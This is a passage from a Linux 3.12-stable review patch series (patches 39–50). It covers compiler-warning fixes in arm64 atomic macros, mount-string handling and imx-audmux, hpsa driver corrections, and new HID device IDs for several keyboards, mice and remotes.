kernel/debug/debug_core.c:504:4: note: in expansion of macro ‘atomic_xchg’
atomic_xchg(&kgdb_active, cpu);
^This patch makes use of the same trick as we do for cmpxchg, by assigning the return value to a dummy variable in the xchg() macro itself.
--- arch/arm64/include/asm/cmpxchg.h | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-)
arch/arm64/include/asm/cmpxchg.h +6 -1
@@ -71,7 +71,12 @@ static inline unsigned long __xchg(unsigned long x, volatile void *ptr, int size }#define xchg (ptr,x) \ - ((__typeof__(*(ptr)))__xchg((unsigned long)(x),(ptr),sizeof(*(ptr)))) +({ \ + __typeof__(*(ptr)) __ret; \ + __ret = (__typeof__(*(ptr))) \ + __xchg((unsigned long)(x), (ptr), sizeof(*(ptr))); \ + __ret; \ +})static inline unsigned long __cmpxchg (volatile void *ptr,unsigned long old,unsigned long new,int size)
Signature · 1 line
2.4.6
PATCH 39/124 arm64: cmpxchg: update macros to prevent warnings
In reply to Jiri SlabyFrom: Mark Hambleton <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 60010e508111b2fd3d73de56f3b2c2bfc0f9eba1 upstream.
Make sure the value we are going to return is referenced in order to avoid warnings from newer GCCs such as:
arch/arm64/include/asm/cmpxchg.h:162:3: warning: value computed is not used [-Wunused-value]
((__typeof__(*(ptr)))__cmpxchg_mb((ptr), \
^net/netfilter/nf_conntrack_core.c:674:2: note: in expansion of macro ‘cmpxchg’
cmpxchg(&nf_conntrack_hash_rnd, 0, rand);
[Modified to use the current underlying implementation as current mainline for both cmpxchg() and cmpxchg_local() does -- broonie]
--- arch/arm64/include/asm/cmpxchg.h | 28 +++++++++++++++++----------- 1 file changed, 17 insertions(+), 11 deletions(-)
arch/arm64/include/asm/cmpxchg.h +17 -11
@@ -163,17 +163,23 @@ static inline unsigned long __cmpxchg_mb(volatile void *ptr, unsigned long old,return ret; } -#define cmpxchg (ptr,o,n) \ - ((__typeof__(*(ptr)))__cmpxchg_mb((ptr), \ - (unsigned long)(o), \ - (unsigned long)(n), \ - sizeof(*(ptr)))) - -#define cmpxchg_local (ptr,o,n) \ - ((__typeof__(*(ptr)))__cmpxchg((ptr), \ - (unsigned long)(o), \ - (unsigned long)(n), \ - sizeof(*(ptr)))) +#define cmpxchg (ptr, o, n) \ +({ \ + __typeof__(*(ptr)) __ret; \ + __ret = (__typeof__(*(ptr))) \ + __cmpxchg_mb((ptr), (unsigned long)(o), (unsigned long)(n), \ + sizeof(*(ptr))); \ + __ret; \ +}) + +#define cmpxchg_local (ptr, o, n) \ +({ \ + __typeof__(*(ptr)) __ret; \ + __ret = (__typeof__(*(ptr))) \ + __cmpxchg((ptr), (unsigned long)(o), \ + (unsigned long)(n), sizeof(*(ptr))); \ + __ret; \ +})#define cmpxchg64 (ptr,o,n) cmpxchg((ptr),(o),(n))#define cmpxchg64_local (ptr,o,n) cmpxchg_local((ptr),(o),(n))
Signature · 1 line
2.4.6
PATCH 40/124 ASoC: imx-audmux: Use uintptr_t for port numbers
In reply to Jiri SlabyFrom: Mark Brown <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit e5f89768e9bc1f441d18e2299518a2907e5017c9 upstream.
Since we pass the port number through file private data for debugfs we cast it to and from a pointer so use uintptr_t in order to ensure that the types are compatible, avoiding warnings on 64 bit platforms where pointers are 64 bit and unsigned integers 32 bit.
--- sound/soc/fsl/imx-audmux.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-)
sound/soc/fsl/imx-audmux.c +4 -4
@@ -67,7 +67,7 @@ static ssize_t audmux_read_file(struct file *file, char __user *user_buf, {ssize_t ret;char *buf =kmalloc (PAGE_SIZE ,GFP_KERNEL ); -int port = (int )file->private_data; +uintptr_t port = (uintptr_t )file->private_data;u32 pdcr, ptcr;if (!buf)
@@ -146,7 +146,7 @@ static const struct file_operations audmux_debugfs_fops = {static void __init audmux_debugfs_init (void ) { -int i; +uintptr_t i;char buf[20 ]; audmux_debugfs_root =debugfs_create_dir ("audmux" ,NULL );
@@ -156,10 +156,10 @@ static void __init audmux_debugfs_init(void) }for (i =0 ; i <MX31_AUDMUX_PORT7_SSI_PINS_7 +1 ; i++) { -snprintf (buf,sizeof (buf),"ssi%d" , i); +snprintf (buf,sizeof (buf),"ssi%lu" , i);if (!debugfs_create_file (buf,0444 , audmux_debugfs_root, (void *)i, &audmux_debugfs_fops)) -pr_warning ("Failed to create AUDMUX port %d debugfs file\n" , +pr_warning ("Failed to create AUDMUX port %lu debugfs file\n" , i); } }
Signature · 1 line
2.4.6
PATCH 41/124 fs: namespace: suppress 'may be used uninitialized' warnings
In reply to Jiri SlabyFrom: Tim Gardner <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit b8850d1fa8e2f6653e57daf6d08e58c5f5eb2c85 upstream.
The gcc version 4.9.1 compiler complains Even though it isn't possible for these variables to not get initialized before they are used.
fs/namespace.c: In function ‘SyS_mount’:fs/namespace.c:2720:8: warning: ‘kernel_dev’ may be used uninitialized in this function [-Wmaybe-uninitialized]
ret = do_mount(kernel_dev, kernel_dir->name, kernel_type, flags,
^
fs/namespace.c:2699:8: note: ‘kernel_dev’ was declared here
char *kernel_dev;
^
fs/namespace.c:2720:8: warning: ‘kernel_type’ may be used uninitialized in this function [-Wmaybe-uninitialized]
ret = do_mount(kernel_dev, kernel_dir->name, kernel_type, flags,
^
fs/namespace.c:2697:8: note: ‘kernel_type’ was declared here
char *kernel_type;
^Fix the warnings by simplifying copy_mount_string() as suggested by Al Viro.
--- fs/compat.c | 10 ++++++---- fs/internal.h | 2 +- fs/namespace.c | 26 ++++++++------------------ 3 files changed, 15 insertions(+), 23 deletions(-)
fs/compat.c +6 -4
@@ -781,8 +781,9 @@ asmlinkage long compat_sys_mount(const char __user * dev_name,struct filename *dir;int retval; - retval =copy_mount_string (type, &kernel_type); -if (retval <0 ) + kernel_type =copy_mount_string (type); + retval =PTR_ERR (kernel_type); +if (IS_ERR (kernel_type)) goto out; dir =getname (dir_name);
@@ -790,8 +791,9 @@ asmlinkage long compat_sys_mount(const char __user * dev_name,if (IS_ERR (dir)) goto out1; - retval =copy_mount_string (dev_name, &kernel_dev); -if (retval <0 ) + kernel_dev =copy_mount_string (dev_name); + retval =PTR_ERR (kernel_dev); +if (IS_ERR (kernel_dev)) goto out2; retval =copy_mount_options (data, &data_page);
fs/internal.h +1 -1
@@ -53,7 +53,7 @@ extern int vfs_path_lookup(struct dentry *, struct vfsmount *,* namespace.c */ extern int copy_mount_options (const void __user *,unsigned long *); -extern int copy_mount_string (const void __user *,char **); +extern char *copy_mount_string (const void __user *);extern struct vfsmount *lookup_mnt (struct path *);extern int finish_automount (struct vfsmount *,struct path *);
fs/namespace.c +8 -18
@@ -2323,21 +2323,9 @@ int copy_mount_options(const void __user * data, unsigned long *where)return 0 ; } -int copy_mount_string (const void __user *data,char **where) +char *copy_mount_string (const void __user *data) { -char *tmp; - -if (!data) { - *where =NULL ; -return 0 ; - } - - tmp =strndup_user (data,PAGE_SIZE ); -if (IS_ERR (tmp)) -return PTR_ERR (tmp); - - *where = tmp; -return 0 ; +return data ?strndup_user (data,PAGE_SIZE ) :NULL ; }/*
@@ -2617,8 +2605,9 @@ SYSCALL_DEFINE5(mount, char __user *, dev_name, char __user *, dir_name,char *kernel_dev;unsigned long data_page; - ret =copy_mount_string (type, &kernel_type); -if (ret <0 ) + kernel_type =copy_mount_string (type); + ret =PTR_ERR (kernel_type); +if (IS_ERR (kernel_type)) goto out_type; kernel_dir =getname (dir_name);
@@ -2627,8 +2616,9 @@ SYSCALL_DEFINE5(mount, char __user *, dev_name, char __user *, dir_name, goto out_dir; } - ret =copy_mount_string (dev_name, &kernel_dev); -if (ret <0 ) + kernel_dev =copy_mount_string (dev_name); + ret =PTR_ERR (kernel_dev); +if (IS_ERR (kernel_dev)) goto out_dev; ret =copy_mount_options (data, &data_page);
Signature · 1 line
2.4.6
PATCH 42/124 hpsa: fix a couple pci id table mistakes
In reply to Jiri SlabyFrom: "Stephen M. Cameron" <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 7d2cce58a765e802959471f8a7edd83f113ad637 upstream.
Fix a couple of pci id table mistakes:
Subdevice ID 0x3323 missing from product[] table
(another name for HP Smart Storage 1210m)
Bogus 0x1925 subdevice id removed from hpsa_pci_device_id[] (no such thing.)
--- drivers/scsi/hpsa.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
drivers/scsi/hpsa.c +1 -1
@@ -105,7 +105,6 @@ static const struct pci_device_id hpsa_pci_device_id[] = { {PCI_VENDOR_ID_HP, PCI_DEVICE_ID_HP_CISSH, 0x103C, 0x1922}, {PCI_VENDOR_ID_HP, PCI_DEVICE_ID_HP_CISSH, 0x103C, 0x1923}, {PCI_VENDOR_ID_HP, PCI_DEVICE_ID_HP_CISSH, 0x103C, 0x1924}, - {PCI_VENDOR_ID_HP, PCI_DEVICE_ID_HP_CISSH, 0x103C, 0x1925}, {PCI_VENDOR_ID_HP, PCI_DEVICE_ID_HP_CISSH, 0x103C, 0x1926}, {PCI_VENDOR_ID_HP, PCI_DEVICE_ID_HP_CISSH, 0x103C, 0x1928}, {PCI_VENDOR_ID_HP, PCI_DEVICE_ID_HP_CISSH, 0x103C, 0x1929},
@@ -140,6 +139,7 @@ static struct board_type products[] = { {0x3249103C, "Smart Array P812", &SA5_access}, {0x324A103C, "Smart Array P712m", &SA5_access}, {0x324B103C, "Smart Array P711m", &SA5_access}, + {0x3233103C, "HP StorageWorks 1210m", &SA5_access}, /* alias of 333f */ {0x3350103C, "Smart Array P222", &SA5_access}, {0x3351103C, "Smart Array P420", &SA5_access}, {0x3352103C, "Smart Array P421", &SA5_access},
Signature · 1 line
2.4.6
PATCH 43/124 hpsa: correct off-by-one sizing of chained SG block
In reply to Jiri SlabyFrom: Webb Scales <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 1a63ea6f244b10117601f96e7bde9f8d21ebe458 upstream.
Correct the size calculation of the chained SG block
--- drivers/scsi/hpsa.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-)
drivers/scsi/hpsa.c +2 -2
@@ -4280,11 +4280,11 @@ static void hpsa_find_board_params(struct ctlr_info *h) h->max_cmd_sg_entries =31 ;if (h->maxsgentries >512 ) { h->max_cmd_sg_entries =32 ; - h->chainsize = h->maxsgentries - h->max_cmd_sg_entries +1 ; + h->chainsize = h->maxsgentries - h->max_cmd_sg_entries; h->maxsgentries--;/* save one for chain pointer */ }else { - h->maxsgentries =31 ;/* default to traditional values */ h->chainsize =0 ; + h->maxsgentries =31 ;/* default to traditional values */ }/* Find out what task management functions are supported and cache */
Signature · 1 line
2.4.6
PATCH 44/124 HID: apple: add Apple wireless keyboard 2011 JIS model support
In reply to Jiri SlabyFrom: Huei-Horng Yo <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit bd4a7ce1da061d97c45673e1ca1a6a474bfb4cff upstream.
Add Apple wireless keyboard 2011 JIS model (05ac:0257).
--- drivers/hid/hid-apple.c | 3 +++ drivers/hid/hid-core.c | 1 + drivers/hid/hid-ids.h | 1 + 3 files changed, 5 insertions(+)
drivers/hid/hid-apple.c +3 -0
@@ -469,6 +469,9 @@ static const struct hid_device_id apple_devices[] = { {HID_BLUETOOTH_DEVICE (USB_VENDOR_ID_APPLE , USB_DEVICE_ID_APPLE_ALU_WIRELESS_2011_ANSI), .driver_data = APPLE_NUMLOCK_EMULATION | APPLE_HAS_FN }, + { HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_APPLE, + USB_DEVICE_ID_APPLE_ALU_WIRELESS_2011_JIS), + .driver_data = APPLE_NUMLOCK_EMULATION | APPLE_HAS_FN }, { HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_ALU_WIRELESS_JIS), .driver_data = APPLE_NUMLOCK_EMULATION | APPLE_HAS_FN }, { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_WELLSPRING_ANSI),
drivers/hid/hid-core.c +1 -0
@@ -1700,6 +1700,7 @@ static const struct hid_device_id hid_have_special_driver[] = { { HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_ALU_WIRELESS_2009_JIS) }, { HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_ALU_WIRELESS_2011_ANSI) }, { HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_ALU_WIRELESS_2011_ISO) }, + { HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_ALU_WIRELESS_2011_JIS) }, { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_FOUNTAIN_TP_ONLY) }, { HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_GEYSER1_TP_ONLY) }, { HID_USB_DEVICE(USB_VENDOR_ID_AUREAL, USB_DEVICE_ID_AUREAL_W01RN) },
drivers/hid/hid-ids.h +1 -0
@@ -135,6 +135,7 @@#define USB_DEVICE_ID_APPLE_ALU_WIRELESS_2009_JIS 0x023b#define USB_DEVICE_ID_APPLE_ALU_WIRELESS_2011_ANSI 0x0255#define USB_DEVICE_ID_APPLE_ALU_WIRELESS_2011_ISO 0x0256 +#define USB_DEVICE_ID_APPLE_ALU_WIRELESS_2011_JIS 0x0257#define USB_DEVICE_ID_APPLE_WELLSPRING8_ANSI 0x0290#define USB_DEVICE_ID_APPLE_WELLSPRING8_ISO 0x0291#define USB_DEVICE_ID_APPLE_WELLSPRING8_JIS 0x0292
Signature · 1 line
2.4.6
PATCH 45/124 HID: hid-holtek-mouse: add new a070 mouse
In reply to Jiri SlabyFrom: Kharlamov Alexey <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 274be3eb653c421d68514684024c6d915c94b728 upstream.
Added support of RITMIX ROM-316 mouse to hid-holtek-mouse workaround module
--- drivers/hid/hid-core.c | 1 + drivers/hid/hid-holtek-mouse.c | 3 +++ drivers/hid/hid-ids.h | 1 + 3 files changed, 5 insertions(+)
drivers/hid/hid-core.c +1 -0
@@ -1737,6 +1737,7 @@ static const struct hid_device_id hid_have_special_driver[] = { { HID_USB_DEVICE(USB_VENDOR_ID_HOLTEK_ALT, USB_DEVICE_ID_HOLTEK_ALT_KEYBOARD) }, { HID_USB_DEVICE(USB_VENDOR_ID_HOLTEK_ALT, USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A04A) }, { HID_USB_DEVICE(USB_VENDOR_ID_HOLTEK_ALT, USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A067) }, + { HID_USB_DEVICE(USB_VENDOR_ID_HOLTEK_ALT, USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A070) }, { HID_USB_DEVICE(USB_VENDOR_ID_HOLTEK_ALT, USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A072) }, { HID_USB_DEVICE(USB_VENDOR_ID_HOLTEK_ALT, USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A081) }, { HID_USB_DEVICE(USB_VENDOR_ID_HUION, USB_DEVICE_ID_HUION_580) },
drivers/hid/hid-holtek-mouse.c +3 -0
@@ -49,6 +49,7 @@ static __u8 *holtek_mouse_report_fixup(struct hid_device *hdev, __u8 *rdesc, }break ;case USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A04A : +case USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A070 :case USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A081 :if (*rsize >=113 && rdesc[106 ] ==0xff && rdesc[107 ] ==0x7f && rdesc[111 ] ==0xff && rdesc[112 ] ==0x7f ) {
@@ -65,6 +66,8 @@ static __u8 *holtek_mouse_report_fixup(struct hid_device *hdev, __u8 *rdesc,static const struct hid_device_id holtek_mouse_devices[] = { {HID_USB_DEVICE (USB_VENDOR_ID_HOLTEK_ALT ,USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A067 ) }, + {HID_USB_DEVICE (USB_VENDOR_ID_HOLTEK_ALT , +USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A070 ) }, {HID_USB_DEVICE (USB_VENDOR_ID_HOLTEK_ALT ,USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A04A ) }, { HID_USB_DEVICE(USB_VENDOR_ID_HOLTEK_ALT,
drivers/hid/hid-ids.h +1 -0
@@ -464,6 +464,7 @@#define USB_DEVICE_ID_HOLTEK_ALT_KEYBOARD 0xa055#define USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A04A 0xa04a#define USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A067 0xa067 +#define USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A070 0xa070#define USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A072 0xa072#define USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A081 0xa081#define USB_DEVICE_ID_HOLTEK_ALT_KEYBOARD_A096 0xa096
Signature · 1 line
2.4.6
PATCH 46/124 HID: Add Holtek USB ID 04d9:a0c2 ETEKCITY Scroll
In reply to Jiri SlabyFrom: John DeSilva <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 5df4eb054fe056ecb15875e812fdadbc47568d7d upstream.
The report descriptor for the HOLTEK USB ID 04d9:a0c2 (ETEKCITY Scroll T-140 Gaming Mouse) is set to a very large amount of consumer usages (2^16), exceeding HID_MAX_USAGES. Added id, bindings and comments for the mouse, added to hid_have_special_driver, and reduced the usage and logical maximums to 0x2fff, consistent with the other mice in the category. Tested on the hardware.
--- drivers/hid/hid-core.c | 1 + drivers/hid/hid-holtek-mouse.c | 4 ++++ drivers/hid/hid-ids.h | 1 + 3 files changed, 6 insertions(+)
drivers/hid/hid-core.c +1 -0
@@ -1740,6 +1740,7 @@ static const struct hid_device_id hid_have_special_driver[] = { { HID_USB_DEVICE(USB_VENDOR_ID_HOLTEK_ALT, USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A070) }, { HID_USB_DEVICE(USB_VENDOR_ID_HOLTEK_ALT, USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A072) }, { HID_USB_DEVICE(USB_VENDOR_ID_HOLTEK_ALT, USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A081) }, + { HID_USB_DEVICE(USB_VENDOR_ID_HOLTEK_ALT, USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A0C2) }, { HID_USB_DEVICE(USB_VENDOR_ID_HUION, USB_DEVICE_ID_HUION_580) }, { HID_USB_DEVICE(USB_VENDOR_ID_JESS2, USB_DEVICE_ID_JESS2_COLOR_RUMBLE_PAD) }, { HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_ION, USB_DEVICE_ID_ICADE) },
drivers/hid/hid-holtek-mouse.c +4 -0
@@ -29,6 +29,7 @@* and Zalman ZM-GM1 * - USB ID 04d9:a081, sold as SHARKOON DarkGlider Gaming mouse * - USB ID 04d9:a072, sold as LEETGION Hellion Gaming Mouse +* - USB ID 04d9:a0c2, sold as ETEKCITY Scroll T-140 Gaming Mouse */ static __u8 *holtek_mouse_report_fixup(struct hid_device *hdev, __u8 *rdesc,
@@ -42,6 +43,7 @@ static __u8 *holtek_mouse_report_fixup(struct hid_device *hdev, __u8 *rdesc,switch (hdev->product) {case USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A067 :case USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A072 : +case USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A0C2 :if (*rsize >=122 && rdesc[115 ] ==0xff && rdesc[116 ] ==0x7f && rdesc[120 ] ==0xff && rdesc[121 ] ==0x7f ) {hid_info (hdev,"Fixing up report descriptor\n" );
@@ -74,6 +76,8 @@ static const struct hid_device_id holtek_mouse_devices[] = { USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A072) }, { HID_USB_DEVICE(USB_VENDOR_ID_HOLTEK_ALT, USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A081) }, + { HID_USB_DEVICE(USB_VENDOR_ID_HOLTEK_ALT, + USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A0C2) }, { } }; MODULE_DEVICE_TABLE(hid, holtek_mouse_devices);
drivers/hid/hid-ids.h +1 -0
@@ -467,6 +467,7 @@#define USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A070 0xa070#define USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A072 0xa072#define USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A081 0xa081 +#define USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A0C2 0xa0c2#define USB_DEVICE_ID_HOLTEK_ALT_KEYBOARD_A096 0xa096#define USB_VENDOR_ID_IMATION 0x0718
Signature · 1 line
2.4.6
PATCH 47/124 HID: kye: Fix report descriptor for Genius PenSketch M912
In reply to Jiri SlabyFrom: Milan Plzik <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit feb6faf1e5d46276c5430e36ffb4a6f62bf8d55b upstream.
Genius PenSketch M912 digitizer tablet sends incorrect report descriptor by default. This patch replaces it with a corrected one.
--- drivers/hid/hid-core.c | 1 + drivers/hid/hid-ids.h | 1 + drivers/hid/hid-kye.c | 140 ++++++++++++++++++++++++++++++++++++++++ drivers/hid/usbhid/hid-quirks.c | 1 + 4 files changed, 143 insertions(+)
drivers/hid/hid-core.c +1 -0
@@ -1754,6 +1754,7 @@ static const struct hid_device_id hid_have_special_driver[] = { { HID_USB_DEVICE(USB_VENDOR_ID_KYE, USB_DEVICE_ID_KYE_MOUSEPEN_I608X) }, { HID_USB_DEVICE(USB_VENDOR_ID_KYE, USB_DEVICE_ID_KYE_MOUSEPEN_I608X_2) }, { HID_USB_DEVICE(USB_VENDOR_ID_KYE, USB_DEVICE_ID_KYE_EASYPEN_M610X) }, + { HID_USB_DEVICE(USB_VENDOR_ID_KYE, USB_DEVICE_ID_KYE_PENSKETCH_M912) }, { HID_USB_DEVICE(USB_VENDOR_ID_LABTEC, USB_DEVICE_ID_LABTEC_WIRELESS_KEYBOARD) }, { HID_USB_DEVICE(USB_VENDOR_ID_LCPOWER, USB_DEVICE_ID_LCPOWER_LC1000 ) }, #if IS_ENABLED(CONFIG_HID_LENOVO_TPKBD)
drivers/hid/hid-ids.h +1 -0
@@ -508,6 +508,7 @@#define USB_DEVICE_ID_KYE_MOUSEPEN_I608X 0x5011#define USB_DEVICE_ID_KYE_MOUSEPEN_I608X_2 0x501a#define USB_DEVICE_ID_KYE_EASYPEN_M610X 0x5013 +#define USB_DEVICE_ID_KYE_PENSKETCH_M912 0x5015#define USB_VENDOR_ID_LABTEC 0x1020#define USB_DEVICE_ID_LABTEC_WIRELESS_KEYBOARD 0x0006
drivers/hid/hid-kye.c +140 -0
164 lines not on this page · raw message
drivers/hid/usbhid/hid-quirks.c +1 -0
@@ -128,6 +128,7 @@ static const struct hid_blacklist { { USB_VENDOR_ID_KYE, USB_DEVICE_ID_KYE_MOUSEPEN_I608X, HID_QUIRK_MULTI_INPUT }, { USB_VENDOR_ID_KYE, USB_DEVICE_ID_KYE_MOUSEPEN_I608X_2, HID_QUIRK_MULTI_INPUT }, { USB_VENDOR_ID_KYE, USB_DEVICE_ID_KYE_EASYPEN_M610X, HID_QUIRK_MULTI_INPUT }, + { USB_VENDOR_ID_KYE, USB_DEVICE_ID_KYE_PENSKETCH_M912, HID_QUIRK_MULTI_INPUT }, { USB_VENDOR_ID_NTRIG, USB_DEVICE_ID_NTRIG_DUOSENSE, HID_QUIRK_NO_INIT_REPORTS }, { USB_VENDOR_ID_SEMICO, USB_DEVICE_ID_SEMICO_USB_KEYKOARD, HID_QUIRK_NO_INIT_REPORTS }, { USB_VENDOR_ID_SYNAPTICS, USB_DEVICE_ID_SYNAPTICS_LTS1, HID_QUIRK_NO_INIT_REPORTS },
Signature · 1 line
2.4.6
PATCH 48/124 HID: sony: Add support for the third-party SMK PS3 Bluetooth Remote
In reply to Jiri SlabyFrom: Frank Praznik <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 68a49e51a4a9c500d950f893f1758c5ac13b7c8b upstream.
Add vid/pid for the SMK branded third-party PS3 Bluetooth remote and enable support in the hid-sony driver.
--- drivers/hid/hid-core.c | 1 + drivers/hid/hid-ids.h | 3 +++ drivers/hid/hid-sony.c | 3 +++ 3 files changed, 7 insertions(+)
drivers/hid/hid-core.c +1 -0
@@ -1854,6 +1854,7 @@ static const struct hid_device_id hid_have_special_driver[] = { { HID_USB_DEVICE(USB_VENDOR_ID_SIS_TOUCH, USB_DEVICE_ID_SIS817_TOUCH) }, { HID_USB_DEVICE(USB_VENDOR_ID_SIS_TOUCH, USB_DEVICE_ID_SIS1030_TOUCH) }, { HID_USB_DEVICE(USB_VENDOR_ID_SKYCABLE, USB_DEVICE_ID_SKYCABLE_WIRELESS_PRESENTER) }, + { HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_SMK, USB_DEVICE_ID_SMK_PS3_BDREMOTE) }, { HID_USB_DEVICE(USB_VENDOR_ID_SONY, USB_DEVICE_ID_SONY_BUZZ_CONTROLLER) }, { HID_USB_DEVICE(USB_VENDOR_ID_SONY, USB_DEVICE_ID_SONY_WIRELESS_BUZZ_CONTROLLER) }, { HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_SONY, USB_DEVICE_ID_SONY_PS3_BDREMOTE) },
drivers/hid/hid-ids.h +3 -0
@@ -789,6 +789,9 @@#define USB_VENDOR_ID_SKYCABLE 0x1223#define USB_DEVICE_ID_SKYCABLE_WIRELESS_PRESENTER 0x3F07 +#define USB_VENDOR_ID_SMK 0x0609 +#define USB_DEVICE_ID_SMK_PS3_BDREMOTE 0x0306 +#define USB_VENDOR_ID_SONY 0x054c#define USB_DEVICE_ID_SONY_VAIO_VGX_MOUSE 0x024b#define USB_DEVICE_ID_SONY_VAIO_VGP_MOUSE 0x0374
drivers/hid/hid-sony.c +3 -0
@@ -709,6 +709,9 @@ static const struct hid_device_id sony_devices[] = {/* Logitech Harmony Adapter for PS3 */ { HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_HARMONY_PS3), .driver_data = PS3REMOTE }, + /* SMK-Link PS3 BD Remote Control */ + { HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_SMK, USB_DEVICE_ID_SMK_PS3_BDREMOTE), + .driver_data = PS3REMOTE }, { } };MODULE_DEVICE_TABLE (hid, sony_devices);
Signature · 1 line
2.4.6
PATCH 49/124 HID: tivo: enable all buttons on the TiVo Slide Pro remote
In reply to Jiri SlabyFrom: Forest Wilkinson <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 9b028649b9d0ae72090904629dad06b022f4ddc7 upstream.
The linux kernel has supported the TiVo Slide remote control for some time, but does not recognize the USB ID of the newer Slide Pro. This patch adds the missing data structures so the newer remote will be recognized by the driver, thereby allowing the TiVo, LiveTV, and Thumbs Up/Down buttons to be mapped with a hwdb file.
--- drivers/hid/hid-core.c | 1 + drivers/hid/hid-ids.h | 1 + drivers/hid/hid-tivo.c | 1 + 3 files changed, 3 insertions(+)
drivers/hid/hid-core.c +1 -0
@@ -1876,6 +1876,7 @@ static const struct hid_device_id hid_have_special_driver[] = { { HID_USB_DEVICE(USB_VENDOR_ID_THRUSTMASTER, 0xb65a) }, { HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_TIVO, USB_DEVICE_ID_TIVO_SLIDE_BT) }, { HID_USB_DEVICE(USB_VENDOR_ID_TIVO, USB_DEVICE_ID_TIVO_SLIDE) }, + { HID_USB_DEVICE(USB_VENDOR_ID_TIVO, USB_DEVICE_ID_TIVO_SLIDE_PRO) }, { HID_USB_DEVICE(USB_VENDOR_ID_TOPSEED, USB_DEVICE_ID_TOPSEED_CYBERLINK) }, { HID_USB_DEVICE(USB_VENDOR_ID_TOPSEED2, USB_DEVICE_ID_TOPSEED2_RF_COMBO) }, { HID_USB_DEVICE(USB_VENDOR_ID_TWINHAN, USB_DEVICE_ID_TWINHAN_IR_REMOTE) },
drivers/hid/hid-ids.h +1 -0
@@ -851,6 +851,7 @@#define USB_VENDOR_ID_TIVO 0x150a#define USB_DEVICE_ID_TIVO_SLIDE_BT 0x1200#define USB_DEVICE_ID_TIVO_SLIDE 0x1201 +#define USB_DEVICE_ID_TIVO_SLIDE_PRO 0x1203#define USB_VENDOR_ID_TOPSEED 0x0766#define USB_DEVICE_ID_TOPSEED_CYBERLINK 0x0204
drivers/hid/hid-tivo.c +1 -0
@@ -64,6 +64,7 @@ static const struct hid_device_id tivo_devices[] = {/* TiVo Slide Bluetooth remote, pairs with a Broadcom dongle */ { HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_TIVO, USB_DEVICE_ID_TIVO_SLIDE_BT) }, { HID_USB_DEVICE(USB_VENDOR_ID_TIVO, USB_DEVICE_ID_TIVO_SLIDE) }, + { HID_USB_DEVICE(USB_VENDOR_ID_TIVO, USB_DEVICE_ID_TIVO_SLIDE_PRO) }, { } };MODULE_DEVICE_TABLE (hid, tivo_devices);
Signature · 1 line
2.4.6
PATCH 50/124 si4713: HID blacklist Si4713 USB development board
In reply to Jiri SlabyFrom: Dinesh Ram <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit adc232592337d3ac4c5473ba8bdaf7c202bf215d upstream.
The Si4713 development board contains a Si4713 FM transmitter chip and is handled by the radio-usb-si4713 driver.
